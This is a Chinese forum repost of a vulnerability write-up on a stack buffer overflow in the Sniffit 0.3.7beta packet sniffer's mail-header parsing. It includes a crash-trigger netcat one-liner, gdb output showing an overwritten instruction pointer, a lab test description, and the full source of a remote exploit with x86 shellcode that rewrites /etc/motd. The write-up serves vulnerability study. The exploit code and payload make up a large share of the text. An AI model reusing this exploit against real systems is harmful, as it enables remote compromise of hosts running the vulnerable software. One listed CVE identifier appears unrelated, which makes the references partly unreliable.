免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1030 | 回复: 0
打印 上一主题 下一主题

Sniffit处理邮件头缓冲区溢出漏洞 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-05-06 17:15 |只看该作者 |倒序浏览
Sniffit处理邮件头缓冲区溢出漏洞
--缓冲区溢出攻击攻击
tomqq 4/25/2006
1. 漏洞概况
这个漏洞最初于2000年5月3日被发现。Sniffit是一个常用的sniffer工具。可运行在多种Unix/Linux平台上。它存在一个缓冲区溢出漏洞,可能导致攻击者远程获取root权限。经过研究,这个漏洞属于典型的栈溢出漏洞。
该漏洞的补救办法是尽快升级软件至不受影响的版本,有经验的用户可以直接修改相关代码行进行重新编译。

2. 详细攻击原理
Sniffit在使用"-L mail"参数处理窃听到的邮件头("mail from:"和"rcpto to:")的时候,会将它们拷贝到一个固定大小的buffer中,导致可能发生溢出问题:问题处在下列两个地方:
    if(strstr(workbuf1,"mail from")!=NULL)
      {
      char workbuf2[MTU];
      strcpy(workbuf2, strstr(workbuf1,"mail from"));

    if(strstr(workbuf1,"rcpt to")!=NULL)
      {
      char workbuf2[MTU];
      strcpy(workbuf2, strstr(workbuf1,"rcpt to"));
...
当用户对局域网内任意主机的25端口发送包含超长"mail from:..."或者"rcpt to:..."内容的消息时,将会导致监听主机上的Sniffit发生溢出:
echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25
在运行Sniffit的机器上用gdb跟踪得到的结果:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
     eax: 0x0 0
     ecx: 0x8057648 134575688
     edx: 0x8057648 134575688
     ebx: 0xbfff5b84 -1073783932
     esp: 0xbfff47a4 -1073789020
     ebp: 0x61616161 1633771873
     esi: 0xbfff6f0c -1073778932
     edi: 0xbfff6f0c -1073778932
     eip: 0x61616161 1633771873

3. 实际测试
根据漏洞原理,sniffit会在解析mail,也就是邮件协议中mail from或者rcpt to指令之举包的时候,具有缓冲区的不安全操作。那么我们只要模拟一个超长的mail指令即可触发sniffit的溢出。如果分析sniffit运行时的内存布局,附一shellcode,即可实现对主机的完全控制。运行中,我们使用nc作为模拟邮件服务器,使用命令nc -l -p 25监听并接受一切发向25端口的数据。实践中,nc运行在服务器214上;攻击程序使用sniffit.c,这个程序的主要功能是向25端口的邮件服务器发送一个超长mail from指令串;被攻击端采用sniffit 0.3.7beta版,监听命令是:sniffit -c sh -L mail,sh是sniffit的配置文件,在这里,我手写了一个,
/home/hek/sh:
select from host 192.168.214
select to host 192.168.2.214
select both port 25
意思是监听一切214进出的25端口的数据。一切就绪,首先在215上运行sniffit:

在214上启动nc,如图:

下面,使用编译好的sniffit.c,从机器145发起攻击:

显示数据串发送成功,ok,转回来看215,

显示程序溢出,攻击成功。使用gdb调试这个进程,查看溢出后的寄存器内容:

可以看见,eip已经被修改为eip            0xff5bb5bf       0xff5bb5bf,攻击成功。
发送的攻击包数据是:

为一个mail指令超长串,攻击成功!
4.影响系统
- Brecht Claerhout Sniffit 0.3.7beta
Brecht Claerhout Sniffit 0.3.6HIP
-
补丁下载:
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
5. 对应BUG库
BUGTRAQ  ID: 1158
CVE(CAN) ID: CVE-2000-0343CVE-2003-0352
附:攻击程序

/*
* Sniffit 0.3.7beta Linux/x86 Remote Exploit
* ShellCode is a modified version of w00w00 write egg,
* to pass Sniffit input filter
*
* Tested on     RedHat 5.2, 6.0, 6.2
* Proof Of Concept Code
*
* credits:    |CyraX| for pointing me to the coredump
*        del0 for hurrying me :)
*        vecna for offering me drinks ;P
*        belf for loving and caring his GSM ;P
*
*                   FuSyS [S0ftpj|BFi]
*                  http://www.s0ftpj.org/
*/
#includestdio.h>
#includestdlib.h>
#includeunistd.h>
#includenetdb.h>
#includenetinet/in.h>
#define LENGTH        600
#define RET        RH6x
#define RH52        0xbfff5c10
#define RH6x        0xbfff5bb5     // 0.3.6HIP 0xbfffcc50
#define OFFSET 0
#define ALIGNOP        3        // 3 RH6.0, 4 RH6.2
                    // may vary [1-5]
/* Note To Script Kiddies: This ShellCode Simply Changes An
   Existing /etc/motd So Don't Bother DownLoading */
unsigned char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
"\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
"\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
"\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
"\x61\x73\x20\x68\x65\x72\x65\x0a";
unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;
  if((addr.s_addr=inet_addr(hostname)) == -1) {
    if(!(hostEnt=gethostbyname(hostname))) {
        printf("Name Resolution Error:`%s`\n",hostname);
        exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  }
  return addr.s_addr;
}
int main(int argc,char **argv)
{
        char buff[LENGTH+ALIGNOP+1];
    char cmd[610];
        long addr;
        unsigned long sp;
        int offset=OFFSET;
        int i, x;
        int sock;
        struct sockaddr_in sin;
    if(argc2) {
        fprintf(stderr, "Usage: %s \n", argv[0]);
        exit(0);
    }
        sp=(unsigned long) RET;
        addr=sp-offset;
    for(i=0;i120-ALIGNOP;i++)
        buff=0x90;
    for(x=0; xstrlen(shellcode); i++, x++)
        buff=shellcode[x];
    for(i-=1 ; iLENGTH; i+=4) {
        buff[i ] = addr & 0x000000ff;
          buff[i+1] = (addr & 0x0000ff00) >> 8;
          buff[i+2] = (addr & 0x00ff0000) >> 16;
          buff[i+3] = (addr & 0xff000000) >> 24;
     }
    printf("\nSniffit );
    printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(25);
        sin.sin_addr.s_addr=nameResolve(argv[1]);
    printf("Connecting to %s ...\n", argv[1]);
        if((sock=socket(AF_INET,SOCK_STREAM,0))0)
        {
                printf("Can't create socket\n");
                exit(0);
        }
        if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))0)
        {
                printf("Can't connect to Sniffit Server\n");
                exit(0);
        }
    printf("Injecting ShellCode ...\n");
    strncat(cmd, "mail from:", 10);
    strncat(cmd, buff, strlen(buff));
    write(sock, cmd, strlen(cmd));
    printf("Done!\n\n");
        return(0);
}


本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/68043/showart_677978.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP